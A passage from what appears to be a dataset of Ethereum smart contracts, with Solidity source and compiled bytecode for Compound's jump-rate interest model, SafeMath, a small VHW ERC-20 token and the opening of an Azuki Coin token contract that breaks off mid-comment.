multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) external { require(msg.sender == owner, "only the owner may call this function."); updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_); } /** * @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)` * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market (currently unused) * @return The utilization rate as a mantissa between [0, 1e18] */ function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) { // Utilization rate is 0 when there are no borrows if (borrows == 0) { return 0; } return borrows.mul(1e18).div(cash.add(borrows).sub(reserves)); } /** * @notice Calculates the current borrow rate per block, with the error code expected by the market * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRateInternal(uint cash, uint borrows, uint reserves) internal view returns (uint) { uint util = utilizationRate(cash, borrows, reserves); if (util <= kink) { return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); } else { uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock); uint excessUtil = util.sub(kink); return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate); } } /** * @notice Calculates the current supply rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @param reserveFactorMantissa The current reserve factor for the market * @return The supply rate percentage per block as a mantissa (scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) { uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa); uint borrowRate = getBorrowRateInternal(cash, borrows, reserves); uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18); return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18); } /** * @notice Internal function to update the parameters of the interest rate model * @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18) * @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18) * @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point * @param kink_ The utilization point at which the jump multiplier is applied */ function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) internal { baseRatePerBlock = baseRatePerYear.div(blocksPerYear); multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_)); jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear); kink = kink_; emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./BaseJumpRateModelV2.sol"; import "./InterestRateModel.sol"; /** * @title Compound's JumpRateModel Contract V2 for V2 cTokens * @author Arr00 * @notice Supports only for V2 cTokens */ contract JumpRateModelV2 is InterestRateModel, BaseJumpRateModelV2 { /** * @notice Calculates the current borrow rate per block * @param cash The amount of cash in the market * @param borrows The amount of borrows in the market * @param reserves The amount of reserves in the market * @return The borrow rate percentage per block as a mantissa (scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint) { return getBorrowRateInternal(cash, borrows, reserves); } constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, address owner_) BaseJumpRateModelV2(baseRatePerYear,multiplierPerYear,jumpMultiplierPerYear,kink_,owner_) public {} } pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b14610167578063a385fb961461018b578063b816881614610193578063b9f9850a146101c2578063f14039de146101ca578063fd2da339146101d2576100a9565b806315f24053146100ae5780632037f3e7146100e95780632191f92a1461011a5780636e71e2d8146101365780638726bb891461015f575b600080fd5b6100d7600480360360608110156100c457600080fd5b50803590602081013590604001356101da565b60408051918252519081900360200190f35b610118600480360360808110156100ff57600080fd5b50803590602081013590604081013590606001356101f1565b005b61012261024c565b604080519115158252519081900360200190f35b6100d76004803603606081101561014c57600080fd5b5080359060208101359060400135610251565b6100d76102a7565b61016f6102ad565b604080516001600160a01b039092168252519081900360200190f35b6100d76102bc565b6100d7600480360360808110156101a957600080fd5b50803590602081013590604081013590606001356102c3565b6100d7610342565b6100d7610348565b6100d761034e565b60006101e7848484610354565b90505b9392505050565b6000546001600160a01b0316331461023a5760405162461bcd60e51b815260040180806020018281038252602681526020018061071c6026913960400191505060405180910390fd5b6102468484848461041d565b50505050565b600181565b600082610260575060006101ea565b6101e761028383610277878763ffffffff6104be16565b9063ffffffff61052116565b61029b85670de0b6b3a764000063ffffffff61056316565b9063ffffffff6105bc16565b60015481565b6000546001600160a01b031681565b6220148081565b6000806102de670de0b6b3a76400008463ffffffff61052116565b905060006102ed878787610354565b9050600061030d670de0b6b3a764000061029b848663ffffffff61056316565b9050610336670de0b6b3a764000061029b8361032a8c8c8c610251565b9063ffffffff61056316565b98975050505050505050565b60035481565b60025481565b60045481565b600080610362858585610251565b905060045481116103a8576103a0600254610394670de0b6b3a764000061029b6001548661056390919063ffffffff16565b9063ffffffff6104be16565b9150506101ea565b60006103d3600254610394670de0b6b3a764000061029b60015460045461056390919063ffffffff16565b905060006103ec6004548461052190919063ffffffff16565b905061041382610394670de0b6b3a764000061029b6003548661056390919063ffffffff16565b93505050506101ea565b610430846220148063ffffffff6105bc16565b600255610449610283622014808363ffffffff61056316565b60015561045f826220148063ffffffff6105bc16565b60038190556004829055600254600154604080519283526020830191909152818101929092526060810183905290517f6960ab234c7ef4b0c9197100f5393cfcde7c453ac910a27bd2000aa1dd4c068d9181900360800190a150505050565b600082820183811015610518576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600061051883836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f77008152506105fe565b6000826105725750600061051b565b8282028284828161057f57fe5b04146105185760405162461bcd60e51b81526004018080602001828103825260218152602001806106fb6021913960400191505060405180910390fd5b600061051883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610695565b6000818484111561068d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561065257818101518382015260200161063a565b50505050905090810190601f16801561067f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836106e45760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561065257818101518382015260200161063a565b5060008385816106f057fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776f6e6c7920746865206f776e6572206d61792063616c6c20746869732066756e6374696f6e2ea265627a7a7231582006e2e43ff4a8e7a9c40e0af4140816dd5c3ae3bd1273925d53e499f0d118396f64736f6c63430005110032
[ 4 ]
0xf2e5fd2c779fb243155d0810170dfe481b305dac
pragma solidity ^0.4.2; // Safe maths library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ApproveAndCallFallBack { function receiveApproval(address _from, uint256 _value, address _token, bytes _data) public; } // Owned contract contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md contract ERC20Interface { function totalSupply() public constant returns (uint _supply); function balanceOf(address _owner) public constant returns (uint balance); function allowance(address _owner, address _spender) public constant returns (uint remaining); function transfer(address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract VHW is Ownable, ERC20Interface { using SafeMath for uint; uint public _totalSupply = 352500000000000; string public constant name = "VHW"; string public constant symbol = "VHW"; uint public constant decimals = 6; string public standard = "VHW Token"; mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowances; event Burn(address indexed _from, uint _value); // Constructor function VHW() public { balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // Total supply function totalSupply() public constant returns (uint _supply) { return _totalSupply; } // Get the token balance of address function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } // Transfer tokens from owner address function transfer(address _to, uint _value) public returns (bool success) { require(_to != 0x0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint _value) public returns(bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint _value, bytes _data) public returns (bool success) { approve(_spender, _value); emit Approval(msg.sender, _spender, _value); ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _value, this, _data); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { balances[_from] = balances[_from].sub(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowances[_owner][_spender]; } function burnTokens(uint _amount) public onlyOwner { _totalSupply = _totalSupply.sub(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, 0x0, _amount); } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a5780633eaaf86b146102935780635a3b7e42146102bc5780636d1b229d1461034a57806370a082311461036d5780638da5cb5b146103ba57806395d89b411461040f578063a9059cbb1461049d578063cae9ca51146104f7578063dd62ed3e14610594578063f2fde38b14610600575b600080fd5b34156100eb57600080fd5b6100f3610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db610764565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061076e565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d610a19565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a6610a1e565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102cf610a24565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561030f5780820151818401526020810190506102f4565b50505050905090810190601f16801561033c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561035557600080fd5b61036b6004808035906020019091905050610ac2565b005b341561037857600080fd5b6103a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c6e565b6040518082815260200191505060405180910390f35b34156103c557600080fd5b6103cd610cb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041a57600080fd5b610422610cdc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610462578082015181840152602081019050610447565b50505050905090810190601f16801561048f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104a857600080fd5b6104dd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d15565b604051808215151515815260200191505060405180910390f35b341561050257600080fd5b61057a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ed5565b604051808215151515815260200191505060405180910390f35b341561059f57600080fd5b6105ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110a5565b6040518082815260200191505060405180910390f35b341561060b57600080fd5b610637600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061112c565b005b6040805190810160405280600381526020017f564857000000000000000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60006107c282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089482600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600681565b60015481565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aba5780601f10610a8f57610100808354040283529160200191610aba565b820191906000526020600020905b815481529060010190602001808311610a9d57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1d57600080fd5b610b328160015461120690919063ffffffff16565b600181905550610b8a81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a260003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f564857000000000000000000000000000000000000000000000000000000000081525081565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d3c57600080fd5b610d8e82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2382600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122290919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610ee18484610672565b508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561103c578082015181840152602081019050611021565b50505050905090810190601f1680156110695780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561108a57600080fd5b5af1151561109757600080fd5b505050600190509392505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561121757600080fd5b818303905092915050565b6000818301905082811015151561123857600080fd5b929150505600a165627a7a72305820f2adcdc9c75d279b22bffc0821009c4d1ef4e41f583acc18ecb5107efa2846890029
[ 38 ]
0xf2e7dd84cc60c49815032d155804bba940c65813
// https://www.azukicoin.org // https://t.me/AzukiCoinxyz // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * 